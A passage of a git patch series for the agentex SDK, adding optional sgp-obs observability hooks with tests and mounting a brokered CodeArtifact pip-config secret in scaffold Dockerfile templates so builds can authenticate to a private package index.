"""A Temporal worker and an ACP server can both reach this in one process; + sgp_obs.init() is not meant to run twice.""" + calls = [] + + def counting(**kwargs): + calls.append(kwargs) + return {"metrics": object()} + + _fake_sgp_obs(monkeypatch, counting) + assert init_sgp_obs() == "wired:metrics" + assert init_sgp_obs() == "wired:metrics" + assert len(calls) == 1 + + +class TestShutdown: + async def test_flushes_when_wired(self, monkeypatch): + """Without this the periodic exporter's buffer is dropped when the pod + stops, which for a short-lived agent can be most of what it recorded.""" + called = [] + _fake_sgp_obs(monkeypatch, shutdown=lambda: called.append(True)) + assert init_sgp_obs() == "wired:metrics" + await shutdown_sgp_obs() + assert called == [True] + + async def test_no_flush_when_never_wired(self, monkeypatch): + called = [] + _fake_sgp_obs( + monkeypatch, init=lambda **_kwargs: {}, shutdown=lambda: called.append(True) + ) + assert init_sgp_obs() == "disabled" + await shutdown_sgp_obs() + assert called == [] + + async def test_no_flush_before_init(self, monkeypatch): + """Called from the lifespan's finally, which runs even if startup failed + before the constructor's init_sgp_obs ever ran.""" + called = [] + _fake_sgp_obs(monkeypatch, shutdown=lambda: called.append(True)) + await shutdown_sgp_obs() + assert called == [] + + async def test_an_older_sgp_obs_without_shutdown_is_tolerated(self, monkeypatch): + """shutdown() arrived in 0.16.0. This package declares no dependency on + sgp-obs and so cannot set a floor, hence feature detection.""" + _fake_sgp_obs(monkeypatch) # no shutdown attribute + assert init_sgp_obs() == "wired:metrics" + await shutdown_sgp_obs() # must not raise + + async def test_a_failing_flush_does_not_fail_shutdown(self, monkeypatch): + def boom(): + raise RuntimeError("exporter timed out") + + _fake_sgp_obs(monkeypatch, shutdown=boom) + assert init_sgp_obs() == "wired:metrics" + await shutdown_sgp_obs() # must not raise + + +class TestAnAgentStillServesWithoutSgpObs: + """Nitesh's verification item, startup half: an account not yet on the + CodeArtifact allowlist gets an image with no ``sgp_obs`` in it. The gate + returning ``not_installed`` is necessary but not sufficient — what has to hold + is that the ACP server still constructs and still answers requests. This + exercises the real constructor, which is where ``init_sgp_obs`` is called. + """ + + def test_acp_server_constructs_and_serves_healthz(self, monkeypatch): + from fastapi.testclient import TestClient + + from agentex.lib.sdk.fastacp.base.base_acp_server import BaseACPServer + + # Import first, unpatched, so the deep FastACP dependency chain loads + # cleanly; only sgp_obs is hidden, and only while the constructor runs. + _block_sgp_obs_import(monkeypatch) + + server = BaseACPServer() + assert sgp_obs_setup._status == "not_installed" + + # No `with`: that would run the lifespan, which registers the agent + # against a live control plane. + response = TestClient(server).get("/healthz") + assert response.status_code == 200 + assert response.json() == {"status": "healthy"} + + def test_the_json_rpc_route_is_still_mounted(self, monkeypatch): + """A server that answers /healthz but lost /api would pass a liveness probe + and fail every actual request.""" + from agentex.lib.sdk.fastacp.base.base_acp_server import BaseACPServer + + _block_sgp_obs_import(monkeypatch) + routes = {getattr(r, "path", None) for r in BaseACPServer().routes} + assert {"/healthz", "/api"} <= routes diff --git a/src/agentex/lib/sdk/fastacp/base/base_acp_server.py b/src/agentex/lib/sdk/fastacp/base/base_acp_server.py index 864b466d0..0a5a036cc 100644 --- a/src/agentex/lib/sdk/fastacp/base/base_acp_server.py +++ b/src/agentex/lib/sdk/fastacp/base/base_acp_server.py @@ -39,6 +39,7 @@ FASTACP_HEADER_SKIP_EXACT, FASTACP_HEADER_SKIP_PREFIXES, ) +from agentex.lib.core.observability.sgp_obs_setup import init_sgp_obs, shutdown_sgp_obs logger = make_logger(__name__) @@ -139,6 +140,20 @@ def __init__(self): # Method handlers # this just adds a request ID to the request and response headers self.add_middleware(RequestIDMiddleware) + + # Optional observability (traces, metrics, logs), off unless sgp-obs is + # installed AND the SGP_OBS_* environment switches ask for it — see + # observability/sgp_obs_setup.py for the two gates. sgp-obs is deliberately + # not a dependency of this package; the agent declares it. Returns a status + # instead of raising: a telemetry problem must never stop an agent starting. + # + # Here rather than in the lifespan, deliberately: sgp-obs installs ASGI + # instrumentation via add_middleware, and Starlette raises "Cannot add middleware + # after an application has started" once the lifespan is running. Wiring it there + # loses http.server.* for the agent's own entry point — and loses it QUIETLY, + # because sgp-obs fails open. + init_sgp_obs(app=self) + self._handlers: dict[RPCMethod, Callable] = {} # Agent info to return in healthz @@ -176,6 +191,11 @@ async def lifespan_context(app: FastAPI): # noqa: ARG001 yield finally: await shutdown_default_span_queue() + # Flush whatever sgp-obs still holds. A periodic exporter's buffer + # is otherwise dropped when the pod stops, which for a short-lived + # or scaled-to-zero agent can be most of what it recorded. No-op + # when sgp-obs is absent or was never wired. + await shutdown_sgp_obs() return lifespan_context From e6d776cb3c299d453b896df83cc73bb8c1eb5bbf Mon Sep 17 00:00:00 2001 From: Sirui Wang Date: Fri, 11 Sep 2026 13:47:45 -0700 Subject: [PATCH 2/7] feat(cli): mount the brokered CodeArtifact secret in the scaffold Dockerfiles MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit An agent created by `agentex init` could not install sgp-obs: none of the 38 scaffold Dockerfiles mounted the `codeartifact-pip-conf` secret the control-plane broker injects, so the private index was unreachable at build time. This is the per-agent half of the adoption cost — 104 of 146 existing agent Dockerfiles lack the mount too. AGX1-1113. Inert by default. `required=false` plus an `-s` guard means the build is byte-identical when no secret is injected, which is every local build, every CI build, and every agent that never opts in. An empty file is skipped too. The two template shapes need different mechanisms, and mixing them up is exactly the trap that cost a deploy cycle on the pilot: - `Dockerfile-uv.j2` runs `uv sync` against the agent's pyproject, so uv can read a named index out of it. Uses the pilot's pattern verbatim: export UV_INDEX_SCALE_PYPI_USERNAME/PASSWORD, which uv binds to the [[tool.uv.index]] named `scale-pypi`. The comment tells the adopter to add that index and that the name must match exactly. The token is percent-decoded on the way out of the pip config, because the buildspec URL-encodes it into the URL userinfo and a token containing + / = arrives as %2B %2F %3D. - `Dockerfile.j2` installs from requirements.txt, so no pyproject is present and there is no named index for credentials to bind to. Takes the credentialed URL straight from the injected pip config via UV_DEFAULT_INDEX. Nothing is decoded here, and that is the point: the token stays inside the URL, already encoded for exactly that use. Decoding it here would corrupt it — the inverse of the uv-sync case. Verified rather than assumed, since no Docker daemon was available to build images: - All 38 templates render as jinja and all 138 resulting RUN bodies pass `sh -n`. - Both extraction paths run against a realistic broker-injected pip config whose token contains + / =. The named-index path recovers the exact token; the URL path leaves the userinfo encoded and still parses. - uv honours UV_DEFAULT_INDEX: with it set to a bogus host, uv requested `https://bogus-index.invalid/simple/requests/` rather than PyPI. - uv binds UV_INDEX_SCALE_PYPI_* to an index named `scale-pypi`: a local server declared as that index received `Authorization: Basic aws:tok+en/with=specials`, with the + / = intact. That is also the proof the decode matters — passing the still-encoded token would have sent a different string. - The no-secret and empty-secret paths export nothing and fall through to PyPI. Scope: the 38 `agentex init` templates only. The 37 tutorial and demo Dockerfiles use a third shape (`uv pip install --system .[dev]`, with a pyproject present, so the named-index pattern applies) and are left out deliberately to keep this diff reviewable; they are examples, not scaffold output. Co-Authored-By: Claude Opus 5 --- .../default-claude-code/Dockerfile-uv.j2 | 28 +++++++++++++++++++ .../default-claude-code/Dockerfile.j2 | 16 ++++++++++- .../templates/default-codex/Dockerfile-uv.j2 | 28 +++++++++++++++++++ .../cli/templates/default-codex/Dockerfile.j2 | 16 ++++++++++- .../default-langgraph/Dockerfile-uv.j2 | 28 +++++++++++++++++++ .../templates/default-langgraph/Dockerfile.j2 | 16 ++++++++++- .../default-openai-agents/Dockerfile-uv.j2 | 28 +++++++++++++++++++ .../default-openai-agents/Dockerfile.j2 | 16 ++++++++++- .../default-pydantic-ai/Dockerfile-uv.j2 | 28 +++++++++++++++++++ .../default-pydantic-ai/Dockerfile.j2 | 16 ++++++++++- .../cli/templates/default/Dockerfile-uv.j2 | 28 +++++++++++++++++++ .../lib/cli/templates/default/Dockerfile.j2 | 16 ++++++++++- .../sync-claude-code/Dockerfile-uv.j2 | 28 +++++++++++++++++++ .../templates/sync-claude-code/Dockerfile.j2 | 16 ++++++++++- .../cli/templates/sync-codex/Dockerfile-uv.j2 | 28 +++++++++++++++++++ .../cli/templates/sync-codex/Dockerfile.j2 | 16 ++++++++++- .../templates/sync-langgraph/Dockerfile-uv.j2 | 28 +++++++++++++++++++ .../templates/sync-langgraph/Dockerfile.j2 | 16 ++++++++++- .../Dockerfile-uv.j2 | 28 +++++++++++++++++++ .../Dockerfile.j2 | 16 ++++++++++- .../sync-openai-agents/Dockerfile-uv.j2 | 28 +++++++++++++++++++ .../sync-openai-agents/Dockerfile.j2 | 16 ++++++++++- .../sync-pydantic-ai/Dockerfile-uv.j2 | 28 +++++++++++++++++++ .../templates/sync-pydantic-ai/Dockerfile.j2 | 16 ++++++++++- .../lib/cli/templates/sync/Dockerfile-uv.j2 | 28 +++++++++++++++++++ .../lib/cli/templates/sync/Dockerfile.j2 | 16 ++++++++++- .../temporal-claude-code/Dockerfile-uv.j2 | 28 +++++++++++++++++++ .../temporal-claude-code/Dockerfile.j2 | 16 ++++++++++- .../templates/temporal-codex/Dockerfile-uv.j2 | 28 +++++++++++++++++++ .../templates/temporal-codex/Dockerfile.j2 | 16 ++++++++++- .../temporal-langgraph/Dockerfile-uv.j2 | 28 +++++++++++++++++++ .../temporal-langgraph/Dockerfile.j2 | 16 ++++++++++- .../temporal-openai-agents/Dockerfile-uv.j2 | 28 +++++++++++++++++++ .../temporal-openai-agents/Dockerfile.j2 | 16 ++++++++++- .../temporal-pydantic-ai/Dockerfile-uv.j2 | 28 +++++++++++++++++++ .../temporal-pydantic-ai/Dockerfile.j2 | 16 ++++++++++- .../cli/templates/temporal/Dockerfile-uv.j2 | 28 +++++++++++++++++++ .../lib/cli/templates/temporal/Dockerfile.j2 | 16 ++++++++++- 38 files changed, 817 insertions(+), 19 deletions(-) diff --git a/src/agentex/lib/cli/templates/default-claude-code/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/default-claude-code/Dockerfile-uv.j2 index 93d0f82d1..36d2cd787 100644 --- a/src/agentex/lib/cli/templates/default-claude-code/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/default-claude-code/Dockerfile-uv.j2 @@ -34,7 +34,29 @@ WORKDIR /app/{{ project_path_from_build_root }} COPY {{ project_path_from_build_root }}/pyproject.toml ./ # Install dependencies (without project itself, for layer caching) +# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages +# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the +# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# +# To opt in, add this to the agent's pyproject.toml. The index name must be exactly +# `scale-pypi`, because that is what binds the credentials exported below; rename it +# and they silently stop applying. Exporting UV_INDEX_URL instead does not +# authenticate a named index at all, and the resolve 401s. +# +# [[tool.uv.index]] +# name = "scale-pypi" +# url = "" +# default = true +# +# The token is percent-decoded on the way out: the buildspec URL-encodes it into the +# pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. RUN --mount=type=cache,target=/root/.cache/uv \ + --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ + export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ + | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ + fi; \ uv sync --no-install-project --no-dev # Copy the project code @@ -42,6 +64,12 @@ COPY {{ project_path_from_build_root }}/project ./project # Install the project RUN --mount=type=cache,target=/root/.cache/uv \ + --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ + export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ + | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ + fi; \ uv sync --no-dev ENV PATH="/app/{{ project_path_from_build_root }}/.venv/bin:$PATH" diff --git a/src/agentex/lib/cli/templates/default-claude-code/Dockerfile.j2 b/src/agentex/lib/cli/templates/default-claude-code/Dockerfile.j2 index d714d96f9..173622e49 100644 --- a/src/agentex/lib/cli/templates/default-claude-code/Dockerfile.j2 +++ b/src/agentex/lib/cli/templates/default-claude-code/Dockerfile.j2 @@ -33,8 +33,22 @@ COPY {{ project_path_from_build_root }}/requirements.txt /app/{{ project_path_fr WORKDIR /app/{{ project_path_from_build_root }} +# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages +# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the +# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# +# This template installs from requirements.txt, so no pyproject.toml is present for +# uv to read a named index out of — unlike Dockerfile-uv.j2, which uses the named +# `scale-pypi` index. The credentialed URL is taken straight from the injected pip +# config instead. That is also why nothing is percent-decoded here: the token stays +# inside the URL, already encoded for exactly that use. +# # Install the required Python packages -RUN uv pip install --system -r requirements.txt +RUN --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_DEFAULT_INDEX="$(sed -n 's#^[[:space:]]*index-url[[:space:]]*=[[:space:]]*##p' /run/secrets/codeartifact-pip-conf | head -1)"; \ + fi; \ + uv pip install --system -r requirements.txt # Copy the project code COPY {{ project_path_from_build_root }}/project /app/{{ project_path_from_build_root }}/project diff --git a/src/agentex/lib/cli/templates/default-codex/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/default-codex/Dockerfile-uv.j2 index 02860b9b9..d926486ca 100644 --- a/src/agentex/lib/cli/templates/default-codex/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/default-codex/Dockerfile-uv.j2 @@ -34,7 +34,29 @@ WORKDIR /app/{{ project_path_from_build_root }} COPY {{ project_path_from_build_root }}/pyproject.toml ./ # Install dependencies (without project itself, for layer caching) +# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages +# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the +# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# +# To opt in, add this to the agent's pyproject.toml. The index name must be exactly +# `scale-pypi`, because that is what binds the credentials exported below; rename it +# and they silently stop applying. Exporting UV_INDEX_URL instead does not +# authenticate a named index at all, and the resolve 401s. +# +# [[tool.uv.index]] +# name = "scale-pypi" +# url = "" +# default = true +# +# The token is percent-decoded on the way out: the buildspec URL-encodes it into the +# pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. RUN --mount=type=cache,target=/root/.cache/uv \ + --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ + export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ + | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ + fi; \ uv sync --no-install-project --no-dev # Copy the project code @@ -42,6 +64,12 @@ COPY {{ project_path_from_build_root }}/project ./project # Install the project RUN --mount=type=cache,target=/root/.cache/uv \ + --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ + export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ + | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ + fi; \ uv sync --no-dev ENV PATH="/app/{{ project_path_from_build_root }}/.venv/bin:$PATH" diff --git a/src/agentex/lib/cli/templates/default-codex/Dockerfile.j2 b/src/agentex/lib/cli/templates/default-codex/Dockerfile.j2 index 1a8eb1484..d75e418e1 100644 --- a/src/agentex/lib/cli/templates/default-codex/Dockerfile.j2 +++ b/src/agentex/lib/cli/templates/default-codex/Dockerfile.j2 @@ -33,8 +33,22 @@ COPY {{ project_path_from_build_root }}/requirements.txt /app/{{ project_path_fr WORKDIR /app/{{ project_path_from_build_root }} +# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages +# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the +# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# +# This template installs from requirements.txt, so no pyproject.toml is present for +# uv to read a named index out of — unlike Dockerfile-uv.j2, which uses the named +# `scale-pypi` index. The credentialed URL is taken straight from the injected pip +# config instead. That is also why nothing is percent-decoded here: the token stays +# inside the URL, already encoded for exactly that use. +# # Install the required Python packages -RUN uv pip install --system -r requirements.txt +RUN --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_DEFAULT_INDEX="$(sed -n 's#^[[:space:]]*index-url[[:space:]]*=[[:space:]]*##p' /run/secrets/codeartifact-pip-conf | head -1)"; \ + fi; \ + uv pip install --system -r requirements.txt # Copy the project code COPY {{ project_path_from_build_root }}/project /app/{{ project_path_from_build_root }}/project diff --git a/src/agentex/lib/cli/templates/default-langgraph/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/default-langgraph/Dockerfile-uv.j2 index dd3035f7b..081e0d563 100644 --- a/src/agentex/lib/cli/templates/default-langgraph/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/default-langgraph/Dockerfile-uv.j2 @@ -30,7 +30,29 @@ WORKDIR /app/{{ project_path_from_build_root }} COPY {{ project_path_from_build_root }}/pyproject.toml ./ # Install dependencies (without project itself, for layer caching) +# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages +# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the +# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# +# To opt in, add this to the agent's pyproject.toml. The index name must be exactly +# `scale-pypi`, because that is what binds the credentials exported below; rename it +# and they silently stop applying. Exporting UV_INDEX_URL instead does not +# authenticate a named index at all, and the resolve 401s. +# +# [[tool.uv.index]] +# name = "scale-pypi" +# url = "" +# default = true +# +# The token is percent-decoded on the way out: the buildspec URL-encodes it into the +# pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. RUN --mount=type=cache,target=/root/.cache/uv \ + --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ + export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ + | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ + fi; \ uv sync --no-install-project --no-dev # Copy the project code @@ -38,6 +60,12 @@ COPY {{ project_path_from_build_root }}/project ./project # Install the project RUN --mount=type=cache,target=/root/.cache/uv \ + --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ + export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ + | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ + fi; \ uv sync --no-dev ENV PATH="/app/{{ project_path_from_build_root }}/.venv/bin:$PATH" diff --git a/src/agentex/lib/cli/templates/default-langgraph/Dockerfile.j2 b/src/agentex/lib/cli/templates/default-langgraph/Dockerfile.j2 index 0395caf74..7c6d72ed9 100644 --- a/src/agentex/lib/cli/templates/default-langgraph/Dockerfile.j2 +++ b/src/agentex/lib/cli/templates/default-langgraph/Dockerfile.j2 @@ -29,8 +29,22 @@ COPY {{ project_path_from_build_root }}/requirements.txt /app/{{ project_path_fr WORKDIR /app/{{ project_path_from_build_root }} +# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages +# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the +# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# +# This template installs from requirements.txt, so no pyproject.toml is present for +# uv to read a named index out of — unlike Dockerfile-uv.j2, which uses the named +# `scale-pypi` index. The credentialed URL is taken straight from the injected pip +# config instead. That is also why nothing is percent-decoded here: the token stays +# inside the URL, already encoded for exactly that use. +# # Install the required Python packages -RUN uv pip install --system -r requirements.txt +RUN --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_DEFAULT_INDEX="$(sed -n 's#^[[:space:]]*index-url[[:space:]]*=[[:space:]]*##p' /run/secrets/codeartifact-pip-conf | head -1)"; \ + fi; \ + uv pip install --system -r requirements.txt # Copy the project code COPY {{ project_path_from_build_root }}/project /app/{{ project_path_from_build_root }}/project diff --git a/src/agentex/lib/cli/templates/default-openai-agents/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/default-openai-agents/Dockerfile-uv.j2 index dd3035f7b..081e0d563 100644 --- a/src/agentex/lib/cli/templates/default-openai-agents/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/default-openai-agents/Dockerfile-uv.j2 @@ -30,7 +30,29 @@ WORKDIR /app/{{ project_path_from_build_root }} COPY {{ project_path_from_build_root }}/pyproject.toml ./ # Install dependencies (without project itself, for layer caching) +# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages +# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the +# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# +# To opt in, add this to the agent's pyproject.toml. The index name must be exactly +# `scale-pypi`, because that is what binds the credentials exported below; rename it +# and they silently stop applying. Exporting UV_INDEX_URL instead does not +# authenticate a named index at all, and the resolve 401s. +# +# [[tool.uv.index]] +# name = "scale-pypi" +# url = "" +# default = true +# +# The token is percent-decoded on the way out: the buildspec URL-encodes it into the +# pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. RUN --mount=type=cache,target=/root/.cache/uv \ + --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ + export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ + | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ + fi; \ uv sync --no-install-project --no-dev # Copy the project code @@ -38,6 +60,12 @@ COPY {{ project_path_from_build_root }}/project ./project # Install the project RUN --mount=type=cache,target=/root/.cache/uv \ + --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ + export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ + | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ + fi; \ uv sync --no-dev ENV PATH="/app/{{ project_path_from_build_root }}/.venv/bin:$PATH" diff --git a/src/agentex/lib/cli/templates/default-openai-agents/Dockerfile.j2 b/src/agentex/lib/cli/templates/default-openai-agents/Dockerfile.j2 index 056d60b96..73edfe479 100644 --- a/src/agentex/lib/cli/templates/default-openai-agents/Dockerfile.j2 +++ b/src/agentex/lib/cli/templates/default-openai-agents/Dockerfile.j2 @@ -29,8 +29,22 @@ COPY {{ project_path_from_build_root }}/requirements.txt /app/{{ project_path_fr WORKDIR /app/{{ project_path_from_build_root }} +# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages +# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the +# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# +# This template installs from requirements.txt, so no pyproject.toml is present for +# uv to read a named index out of — unlike Dockerfile-uv.j2, which uses the named +# `scale-pypi` index. The credentialed URL is taken straight from the injected pip +# config instead. That is also why nothing is percent-decoded here: the token stays +# inside the URL, already encoded for exactly that use. +# # Install the required Python packages -RUN uv pip install --system -r requirements.txt +RUN --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_DEFAULT_INDEX="$(sed -n 's#^[[:space:]]*index-url[[:space:]]*=[[:space:]]*##p' /run/secrets/codeartifact-pip-conf | head -1)"; \ + fi; \ + uv pip install --system -r requirements.txt # Copy the project code COPY {{ project_path_from_build_root }}/project /app/{{ project_path_from_build_root }}/project diff --git a/src/agentex/lib/cli/templates/default-pydantic-ai/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/default-pydantic-ai/Dockerfile-uv.j2 index dd3035f7b..081e0d563 100644 --- a/src/agentex/lib/cli/templates/default-pydantic-ai/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/default-pydantic-ai/Dockerfile-uv.j2 @@ -30,7 +30,29 @@ WORKDIR /app/{{ project_path_from_build_root }} COPY {{ project_path_from_build_root }}/pyproject.toml ./ # Install dependencies (without project itself, for layer caching) +# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages +# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the +# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# +# To opt in, add this to the agent's pyproject.toml. The index name must be exactly +# `scale-pypi`, because that is what binds the credentials exported below; rename it +# and they silently stop applying. Exporting UV_INDEX_URL instead does not +# authenticate a named index at all, and the resolve 401s. +# +# [[tool.uv.index]] +# name = "scale-pypi" +# url = "" +# default = true +# +# The token is percent-decoded on the way out: the buildspec URL-encodes it into the +# pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. RUN --mount=type=cache,target=/root/.cache/uv \ + --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ + export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ + | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ + fi; \ uv sync --no-install-project --no-dev # Copy the project code @@ -38,6 +60,12 @@ COPY {{ project_path_from_build_root }}/project ./project # Install the project RUN --mount=type=cache,target=/root/.cache/uv \ + --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ + export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ + | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ + fi; \ uv sync --no-dev ENV PATH="/app/{{ project_path_from_build_root }}/.venv/bin:$PATH" diff --git a/src/agentex/lib/cli/templates/default-pydantic-ai/Dockerfile.j2 b/src/agentex/lib/cli/templates/default-pydantic-ai/Dockerfile.j2 index 0395caf74..7c6d72ed9 100644 --- a/src/agentex/lib/cli/templates/default-pydantic-ai/Dockerfile.j2 +++ b/src/agentex/lib/cli/templates/default-pydantic-ai/Dockerfile.j2 @@ -29,8 +29,22 @@ COPY {{ project_path_from_build_root }}/requirements.txt /app/{{ project_path_fr WORKDIR /app/{{ project_path_from_build_root }} +# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages +# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the +# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# +# This template installs from requirements.txt, so no pyproject.toml is present for +# uv to read a named index out of — unlike Dockerfile-uv.j2, which uses the named +# `scale-pypi` index. The credentialed URL is taken straight from the injected pip +# config instead. That is also why nothing is percent-decoded here: the token stays +# inside the URL, already encoded for exactly that use. +# # Install the required Python packages -RUN uv pip install --system -r requirements.txt +RUN --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_DEFAULT_INDEX="$(sed -n 's#^[[:space:]]*index-url[[:space:]]*=[[:space:]]*##p' /run/secrets/codeartifact-pip-conf | head -1)"; \ + fi; \ + uv pip install --system -r requirements.txt # Copy the project code COPY {{ project_path_from_build_root }}/project /app/{{ project_path_from_build_root }}/project diff --git a/src/agentex/lib/cli/templates/default/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/default/Dockerfile-uv.j2 index dd3035f7b..081e0d563 100644 --- a/src/agentex/lib/cli/templates/default/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/default/Dockerfile-uv.j2 @@ -30,7 +30,29 @@ WORKDIR /app/{{ project_path_from_build_root }} COPY {{ project_path_from_build_root }}/pyproject.toml ./ # Install dependencies (without project itself, for layer caching) +# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages +# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the +# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# +# To opt in, add this to the agent's pyproject.toml. The index name must be exactly +# `scale-pypi`, because that is what binds the credentials exported below; rename it +# and they silently stop applying. Exporting UV_INDEX_URL instead does not +# authenticate a named index at all, and the resolve 401s. +# +# [[tool.uv.index]] +# name = "scale-pypi" +# url = "" +# default = true +# 